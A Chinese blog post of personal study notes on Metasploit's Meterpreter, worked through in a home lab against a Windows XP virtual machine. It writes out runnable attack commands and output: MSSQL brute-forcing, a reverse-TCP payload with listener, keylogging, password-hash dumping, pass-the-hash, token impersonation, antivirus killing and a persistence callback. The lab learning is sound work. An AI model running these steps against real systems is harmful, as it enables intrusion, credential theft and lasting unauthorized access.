Metasploit学习记录(二)

上篇

Meterpreter深入介绍

本章深入介绍瑞士军刀Meterpreter的使用,该工具主要在后渗透阶段进行使用是Metasploit框架中的杀手锏,通常作为漏洞溢出后的攻击载荷使用,攻击载荷在出发漏洞后会返回给我们一个控制通道,Meterpreter作为Metasploit框架的一个拓展模块可以调用Metasploit的一些功能对目标系统进行更加深入的渗透,功能包括:

  • 反追踪
  • 纯内存工作模式
  • 密码哈希值获取
  • 特权提升
  • 跳板攻击

使用Nmap扫描端口

首先还是使用Nmap扫描目标主机确认其打开的端口以及其指纹信息

1
nmap -sT -A -PO 192.168.31.60

书中使用的是mssql端口,因此特意去下载安装了mssql,并且花了一些时间配置,这里不再赘述

使用mssql_ping

使用该模块可以更加详尽的得出目标机器的mssql信息

mssql_login暴力破解mssql服务器

使用该模块可以用来根据指定字典暴力穷举服务器密码

msf auxiliary(mssql_ping) > use scanner/mssql/mssql_login
msf auxiliary(mssql_login) > show options

Module options (auxiliary/scanner/mssql/mssql_login):

Name Current Setting Required Description


BLANK_PASSWORDS false no Try blank passwords for all users
BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5
DB_ALL_CREDS false no Try each user/password couple stored in the current database
DB_ALL_PASS false no Add all passwords in the current database to the list
DB_ALL_USERS false no Add all users in the current database to the list
PASSWORD no A specific password to authenticate with
PASS_FILE no File containing passwords, one per line
RHOSTS yes The target address range or CIDR identifier
RPORT 1433 yes The target port (TCP)
STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host
TDSENCRYPTION false yes Use TLS/SSL for TDS data “Force Encryption”
THREADS 1 yes The number of concurrent threads
USERNAME no A specific username to authenticate as
USERPASS_FILE no File containing users and passwords separated by space, one pair per line
USER_AS_PASS false no Try the username as the password for all users
USER_FILE no File containing usernames, one per line
USE_WINDOWS_AUTHENT false yes Use windows authentification (requires DOMAIN option set)
VERBOSE true yes Whether to print output for all attempts

msf auxiliary(mssql_login) > set PASS_FILE /tmp/pass
PASS_FILE => /tmp/pass
msf auxiliary(mssql_login) > set RHOSTS 192.168.31.60
RHOSTS => 192.168.31.60
msf auxiliary(mssql_login) > exploit

msf auxiliary(mssql_login) > set USERNAME sa
USERNAME => sa
msf auxiliary(mssql_login) > exploit

[] 192.168.31.60:1433 - 192.168.31.60:1433 - MSSQL - Starting authentication scanner.
[!] 192.168.31.60:1433 - No active DB – Credential data will not be saved!
[+] 192.168.31.60:1433 - 192.168.31.60:1433 - Login Successful: WORKSTATION\sa:saPassword
[
] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

利用mssql的xp_cmdshell存储执行命令

当获取了sa的密码之后,我们就可以使用账号密码对服务器进行连接,使用管理员连接可以执行xp_cmdshell存储过程,该存储过程允许我们直接与底层操作系统进行交互并执行命令(相应的mysql当中以前看过一个相应的方法就是可以利用其load file之类的读写文件的方法拿到系统的shadow文件),一般来说MS SQL服务以SYSTEM级别权限运行,所以一旦获取了sa用户,就可以以管理员身份访问MSSQL以及与底层系统进行交互。

为了在系统中注入攻击载荷,我们需要与xp_shell进行交互、添加本地管理员,这里我们利用mssql_payload模块,以下为攻击过程

msf > use windows/mssql/mssql_payload

msf exploit(mssql_payload) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(mssql_payload) > set LHOST 192.168.31.14
LHOST => 192.168.31.14
msf exploit(mssql_payload) > set RHOST 192.168.31.60
RHOST => 192.168.31.60
msf exploit(mssql_payload) > set LPORT 443
LPORT => 443
semsf exploit(mssql_payload) > set PASSWORD saASSWORD
PASSWORD => sa85576909
emsf exploit(mssql_payload) > exploit

[] Started reverse TCP handler on 192.168.31.14:443
[
] 192.168.31.60:1433 - Command Stager progress - 1.47% done (1499/102246 bytes)
[] 192.168.31.60:1433 - Command Stager progress - 2.93% done (2998/102246 bytes)
[
] 192.168.31.60:1433 - Command Stager progress - 4.40% done (4497/102246 bytes)

。。。

[] 192.168.31.60:1433 - Command Stager progress - 89.43% done (91439/102246 bytes)
[
] 192.168.31.60:1433 - Command Stager progress - 90.90% done (92938/102246 bytes)
[] 192.168.31.60:1433 - Command Stager progress - 92.36% done (94437/102246 bytes)
[
] 192.168.31.60:1433 - Command Stager progress - 93.83% done (95936/102246 bytes)
[] 192.168.31.60:1433 - Command Stager progress - 95.29% done (97435/102246 bytes)
[
] 192.168.31.60:1433 - Command Stager progress - 96.76% done (98934/102246 bytes)
[] 192.168.31.60:1433 - Command Stager progress - 98.19% done (100400/102246 bytes)
[
] 192.168.31.60:1433 - Command Stager progress - 99.59% done (101827/102246 bytes)
[] 192.168.31.60:1433 - Command Stager progress - 100.00% done (102246/102246 bytes)
[
] Exploit completed, but no session was created.

使用该方法之后发现,最终并没有像书中那样取得了连接session,而是最终在靶机上最终弹出一个内存地址访问错误的提示: “16位 MS-DOS子系统” c:\windows\tmp\cZair.exe NTVDM CPU遇到了无效的指令,尝试了几次仍然如此,看来这个真的是看人品啊,所以我一直是觉得,信息安全对于从业人员的要求,在某些方面来说,是真的很高的,懂得面必须要广,同时有些情况下在涉及到溢出攻击时还要能从最底层能下得了手。某些漏洞卖几百万真的不贵哟。

于是改用上一章所介绍的利用SMB漏洞进行攻击,这个比较稳定成功拿下了shell,然而在利用Meterpreter进行一系列操作时,又出幺蛾子了!

Meterpreter基本命令

当取得了靶机shell的时候我们会进入meterpreter模式,这种情况下有一些常用命令可以帮助我们收集更多信息例如:

  • screenshot可以对靶机进行截图
  • sysinfo可以获取靶机的系统信息,包括机器名称、os、arch以及语言
  • ps 可以拿到靶机目前在运行的进程信息
获取键盘记录

使用ps可以看到explorer进程的pid为1668,使用migrate命令将回话迁移到explorer进程空间内,之后启动keylog_recorder模块开始怼键盘操作进行记录,一段时间后使用CTRL+C进行种植,根据提示查看用户这段时间的键盘输入,完整的指令如下:

migrate 1668

run post/windows/capture/keylog_recorder

然而,在利用smb漏洞进行以上测试的时候发现,可以执行sysinfo、ps指令,但是一旦执行pwd、screenshot或者migrate指令就会发生超时错误 Error running command screenshot: Rex::TimeoutError Operation timed out.,这个搜了一下发现有文章介绍,说是虚拟机网卡的问题(但是人家书里面靶机也是在虚拟机上啊),这一章学起来真是不太顺利啊

挖掘用户名和密码

该攻击使用Meterpreter中的hashdump输入谋爱,用以提取系统的用户名和密码哈希值。

windows系统存储哈希值的方式一般为LAN Manager(LM),NT LANG Manager(NTLM),或者NT LAN Manager v2(NTLMv2)

p82有讲LM存储方式,这里不做详细记录

首先使用use priv命令运行到特权账号上。

为了获取安全账号管理器(SAM)的数据库,我们需要运行在SYSTEM权限下以绕过注册表的限制,执行 run post/windows/gather/hashdump正常结束后就能显示出来账号和密码了(p83)

use priv

run post/windows/gather/hashdump

meterpreter > run post/windows/gather/hashdump

[] Obtaining the boot key…
[
] Calculating the hboot key using SYSKEY c3f7ea7b412092c99b3b02d2183c02a4…
[] Obtaining the user list and keys…
[
] Decrypting user keys…
[*] Dumping password hints…

No users with password hints on this system

[*] Dumping password hashes…

Administrator:500:aad3b435b589c0:::
Guest:501:aad3b435b51404e0d16ae931b73c59d7e0c089c0:::
HelpAssistant:1000:d8624d62c41867d2609075e5810452714a15da769cbbf:::
SUPPORT_388945a0:1002:aad3b435b5b51404ee:737cf5473ec6f0bec021945943cec942:::

这里发现一个问题,那就是当有多个msfconsole的时候他们的meterpreter会相互影响,只有一个能正确执行,尴尬

还有一点需要注意的就是,在meterpreter模式下如果执行的结果有问题导致进程访问内存失败之类的,系统会把相关进程终止掉,这个时候端口也就没有了,会发生connection was refused的错误,现在想想,我当初经常能碰到这种类似的错误啊,被黑了几百年了吧。。。

传递哈希值

即便是我们获取了用户密码的哈希值,我们也极有可能在有限时间内无法对其进行破解,这里书中介绍了哈希值传递技术,只要有密码的哈希值就ok了,不需要密码明文,使用Metasploit的windows/smb/psexec模块进行实现(p84)

use windows/smb/psexec

set PAYLOAD windows/meterpreter/reverse_tcp

set LHOST 192.168.31.129

set LPORT 443

set RHOST 192.168.33.130

set SMBPass

eserdfsd…..

exploit

msf exploit(psexec) > exploit

[] Started reverse TCP handler on 192.168.31.14:8080
[
] 192.168.31.60:445 - Connecting to the server…
[*] 192.168.31.60:445 - Authenticating to 192.168.31.60:445 as user ‘Administrator’…

[-] 192.168.31.60:445 - FAILED! The remote host has only provided us with Guest privileges. Please make sure that the correct username and password have been provided. Windows XP systems that are not part of a domain will only provide Guest privileges to network logins by default.

[*] Exploit completed, but no session was created.

这里执行成功之后使用密码哈希值就成功获取了管理员权限。

权限提升

当我们获取了目标机器的权限之后可以通过执行net user命令创建普通用户,并在此基础上对普通用户的权限进行提升。

net user bob password123 /add

之后我们创建一个基于Meterpreter的攻击载荷程序payload.exe复制到目标XP机器上,并且在bob用户账号下进行,在本实例中,使用攻击载荷生成器(msfpayload)来创建exe格式的Meterpreter攻击载荷程序payload.exe (p85)

1
2
3
4
5
6
7
8
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.33.129 LPORT=443 X > payload.exe
新版的metasploit已经将msfpayload合并到msfvenom,所以目前正确的写法是:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.31.14 LPORT=4443 -f exe -o payload.exe
msfcli muti/handler PAYLOAD=windows/meterpreter/reverse_tcp LHOST=192.168.33.129 LPORT=443 E
相应的msfcli目前新版本的写法如下:
msfconsole -x "use multi/handler ; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192.168.31.14 ;set LPORT 4443 ;run"
生成完成之后,在Meterpreter终端下使用upload指令进行上传(上传到用户默认路径,例如system路径为system32),上传完之后手动执行payload.exe会有一个session从靶机连接过来。
在尝试执行screenshot的时候。。。xp又报payload.exe 内存错误了,同时payload.exe死掉了,这直接就暴露了啊。。。

以上我理解是生成了一个payload.exe我们需要使用bob这个用户在靶机上执行,执行之后就会有一个反向链接到本机msfcli开启的端口,之后

meterpreter > getuid

server username: IHAZSECURITY\bob

在进入Meterpreter之后可以使用background或者ctrl+z将回话放到后台,然后执行session -l、-i对回话重新操作,有点类似tmux?

net user bob #可以看到用户一些说明

use priv#加载priv扩展以便访问某些权限模块

getsystem #尝试将权限提升到本地系统权限或者管理员权限

在实际执行中提权失败了。。。

meterpreter > getsystem
[-] priv_elevate_getsystem: Operation failed: Access is denied. The following was attempted:
[-] Named Pipe Impersonation (In Memory/Admin)
[-] Named Pipe Impersonation (Dropper/Admin)
[-] Token Duplication (In Memory/Admin)

getuid #进行检查,若返回的是NT AUTHORITY\SYSTEM则表示成功获取了管理员权限

以下操作的前提是,至少是system用户才可以进行,我这里从bob提权失败,所以不能再进行下去了

令牌假冒

这个环节攫取一个Kerberos令牌,将其用在身份认证环节来假冒当初创建这个令牌的用户,令牌假冒是Meterpreter最强大的功能之一,对渗透测试非常有帮助,考虑如下常景:

当正在对某个组织进行渗透测试的时候,成功入侵系统并且建立了Meterpreter终端,而域管理员用户在最近13小时内有登陆过这台机器,在该用户登入的时候,会有一个Kerberos令牌发送到服务器(单点登录)并将在随后一段时间内有效,那么就可以利用这个活动令牌来入侵系统,通过Meterpreter可以假冒城域管理员的角色而不用知道他的密码

偷取令牌

使用ps命令可以看到当前哪些用户在执行那些进程,之后执行steal_token pid进行token的获取,然后我这里仍然是access denied了。。。囧

以下操作用于list令牌并且假扮用户,前提是要有权限

meterpreter > use incognito
Loading extension incognito…Success.
meterpreter > list_tokens -u

Delegation Tokens Available

NT AUTHORITY\LOCAL SERVICE
NT AUTHORITY\NETWORK SERVICE
NT AUTHORITY\SYSTEM
WWW-FDF2B35F528\Administrator
WWW-FDF2B35F528\bob

Impersonation Tokens Available

NT AUTHORITY\ANONYMOUS LOGON

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > impersonate_token WWW-FDF2B35F528\bob
[+] Delegation token available
[+] Successfully impersonated user WWW-FDF2B35F528\bob
meterpreter > getuid
[-] stdapi_sys_config_getuid: Operation failed: Access is denied.

通过跳板机攻击其他机器

在某些情况下,我们的目标机器可能在某个内网当中,而我们已经攻陷的机器和目标机器在同一个内网当中,这种情况下就需要使用Meterpreter提供的跳板攻击(pivotiong),这样我们就能任意利用这台机器作为跳板攻击网络中的其他系统。

由于该网络环境比较复杂,我这里没有办法模拟,只简单做一下记录

meterpreter > run get_local_subnets

[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value […]
Local subnet: 192.168.31.0/255.255.255.0

background

route add 192.168.33.0 255.255.255.0 1#目标网络以及sessionid

route print

只要正确添加了路由转发,就可以将目标靶机当做局域网当中一台普通机器来看待了。

另外还有一个自动化添加路由信息的模块auto_add_route可以用来自动化的完成路由相关的修改操作

使用Meterpreter脚本

在Meterpreter当中通过执行run 脚本名称来调用已经写好的脚本,应该是类似于console下面的resource指令,如下是一些简单介绍

run vnc #在目标机器上面安装vnc回话

run screen_unlock# 对远程桌面进行解锁

迁移进程

正如上文所写的,当注入攻击的进程,如果由于一些操作导致错误,例如错误的内存访问,不仅会暴露出来,同时会丢失与目标机器的连接。

写到这里,我也渐渐明白了,为什么软件的漏洞也会导致系统不安全,原来不仅仅是对外提供服务的程序会有安全问题,应用程序如果有非常明显的安全隐患的话会导致后续的渗透工作变得更加容易,原来如此

因此同样还有类似的操作:

meterpreter > run post/windows/manage/migrate

[] Running module against WWW-FDF2B35F528
[
] Current server process: svchost.exe (1056)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 2560
[+] Successfully migrated to process 2560

关闭杀软

run killav #晚一些装上360试一试

查看目标机器流量

run packetrecorder -i 1

获取系统密码哈希值

run hashdump

攫取系统信息

meterpreter > run scraper
[] New session on 192.168.31.60:445…
[
] Gathering basic system information…
[] Dumping password hashes…
[
] Obtaining the entire registry…
[] Exporting HKCU
[
] Downloading HKCU (C:\WINDOWS\TEMP\RuSFQQAf.reg)
[] Cleaning HKCU
[
] Exporting HKLM
[*] Downloading HKLM (C:\WINDOWS\TEMP\xigDKDZO.reg)

该指令会列举出来系统的任何信息,包括用户名密码、注册表、密码哈希值,文件最终被存储在:~/.msf4/logs/scripts/scraper/

攻击持久化

Meterpreter的persistence脚本允许注入Meterpreter代理,确保系统再重启之后Meterpreter还能够运行,如果是反弹连接方式,可以设置连接攻击机的时间间隔,如果是绑定形式可以设置在指定时间绑定开放端口。

该功能会让任何用户无需认证取得系统的访问权

run persistence -X -i 50 -p 443 -r 192.168.33.129

-X 表示开机启动 -i表示每隔50s链接一次 443 端口 -r表示连接的地址

use multi/handler #进行监听

set payload windows/meterpreter/reverse_tcp

set LPORT 443

set LHOST 192.168.33.129

exploit

书中说当时如果要移除Meterpreter代理的唯一方式是删除注册表选项,以及vb脚本,由于每次注入的注册表带有哈希值因此需要在开始注入的时候保存好

将shell升级为Meterpreter

这一节没看太明白,并且没有实现

msf exploit(ms08_067_netapi) > resource /root/metasploit/use_smb.rc
[*] Processing /root/metasploit/use_smb.rc for ERB directives.
resource (/root/metasploit/use_smb.rc)> use exploit/windows/smb/ms08_067_netapi
resource (/root/metasploit/use_smb.rc)> set RHOST 192.168.31.60
RHOST => 192.168.31.60
resource (/root/metasploit/use_smb.rc)> set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
resource (/root/metasploit/use_smb.rc)> setg LHOST 192.168.31.14
LHOST => 192.168.31.14
resource (/root/metasploit/use_smb.rc)> setg LPORT 8080
LPORT => 8080
resource (/root/metasploit/use_smb.rc)> set TARGET 10
TARGET => 10
resource (/root/metasploit/use_smb.rc)> exploit -z

[] Started reverse TCP handler on 192.168.31.14:8080
[
] 192.168.31.60:445 - Attempting to trigger the vulnerability…
[] Sending stage (179267 bytes) to 192.168.31.60
[
] Meterpreter session 3 opened (192.168.31.14:8080 -> 192.168.31.60:1046) at 2017-11-26 20:59:43 +0800
[] Session 3 created in the background.
msf exploit(ms08_067_netapi) > sessions -u 3
[
] Executing ‘post/multi/manage/shell_to_meterpreter’ on session(s): [3]
[-] Session 3 is not a command shell session, it is meterpreter, skipping…

通过Railgun组件操作Windows API

使用Railgun组件可以与windows本地API进行交互,将该组件添加到Metasploit康佳内,就可以通过Meterpreter调用Windows API举个,操作如下:

meterpreter > irb
[] Starting IRB shell
[
] The “client” variable holds the meterpreter client

client.railgun.user32.MessageBoxA(0,”hello”,”world”,”MB_OK”)

感慨

学完这一章,总共有两个感慨:

  1. 安全从业人员是真不容易啊,学习的过程各种不稳定复现不说,还要搭建各种环境,自学门槛讲真是真心不低,最重要的是有些东西真的是看运气,而编程就不太一样,程序只要写的对一定会有正确的结果得到一个正反馈的
  2. 学习了这个框架之后才发现目前信息安全方面的流程化以及自动化已经达到了这么高的地步,现在觉得下一个AI要进行落地的,应该就是这个行业了吧

转载请注明来源链接 http://just4fun.im/2017/11/25/Metasploit学习记录(二)/ 尊重知识,谢谢:)